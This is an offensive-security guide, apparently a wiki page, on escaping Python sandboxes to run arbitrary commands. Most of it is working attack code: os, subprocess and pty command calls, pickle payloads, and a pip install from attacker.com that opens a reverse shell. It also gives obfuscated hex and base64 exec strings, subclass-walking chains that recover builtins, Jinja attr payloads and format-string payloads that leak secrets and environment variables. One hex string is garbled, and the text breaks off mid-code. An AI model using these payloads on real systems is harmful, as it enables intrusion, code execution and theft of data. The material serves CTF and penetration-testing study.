# Bypass Python sandboxes These are some tricks to bypass python sandbox protections and execute arbitrary commands. ## Command Execution Libraries The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} **Python2 input\(\)** function allows to execute python code before the program crashes. {% endhint %} Python try to **load libraries from the current directory first** \(the following command will print where is python loading modules from\): `python3 -c 'import sys; print(sys.path)'` ![](../../.gitbook/assets/image%20%28533%29.png) ## Bypass pickle sandbox with default installed python packages ### Default packages You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html) Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system. For example the following pickle, when loaded, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victimdoesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` For more information about how does pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip package If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**: {% file src="../../.gitbook/assets/reverse.tar.gz" %} {% hint style="info" %} This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. {% endhint %} ## Eval-ing python code This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ## Builtins * \*\*\*\*[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)\*\*\*\* * \*\*\*\*[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)\*\*\*\* If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### No Builtins When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** \(like `open`, `import`, `print`...\) **aren't loaded**. However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them. **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain builtins from a globally defined function ## https://docs.python.org/3/library/functions.html print.__self__ dir.__self__ globals.__self__ len.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded clases [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` [**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. #### Python2 and Python3 ```python # Recover __builtins__ and make eveything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` ### Builtins payloads ```python # Possible payloads once you have found the builtins .open("/etc/passwd").read() .__import__("os").system("ls") # There are a lot other payloads that can be abused to execute commands # See them below ``` ## Globals and locals Checking the **`globals`** and **`locals`** is a good way to know what you can access. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ## Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. ## Discover Arbitrary Execution Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. #### Accessing subclasses with bypasses One of the most sensitive parts of this technique is to be able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" ## You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() #If attr is present you can access everything as string ## This is common in Djanjo (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` ### Finding dangerous libraries loaded For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` There are a lot, and **we just need one** to execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` We can do the same thing with **other libraries** that we know can be used to **execute commands**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Moreover, we could even search which modules are loading malicious libraries: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` ## Recursive Search of Builtins, Globals... {% hint style="warning" %} This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places were you can find that object.** {% endhint %} ```python SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is veeery time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be find #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maxium, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kill the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each keys, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main() ``` ## Python Format String If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. {% hint style="info" %} However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute code**, just to read information. _**If you know how to execute code through this vulnerability, please contact me.**_ {% endhint %} ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` ### Sensitive Information Disclosure Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` ## Compiling Python to bypass Defenses In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\). Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compiled` function in the CTF\). For example, let's compile and execute manually a function that reads _./poc.py_: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 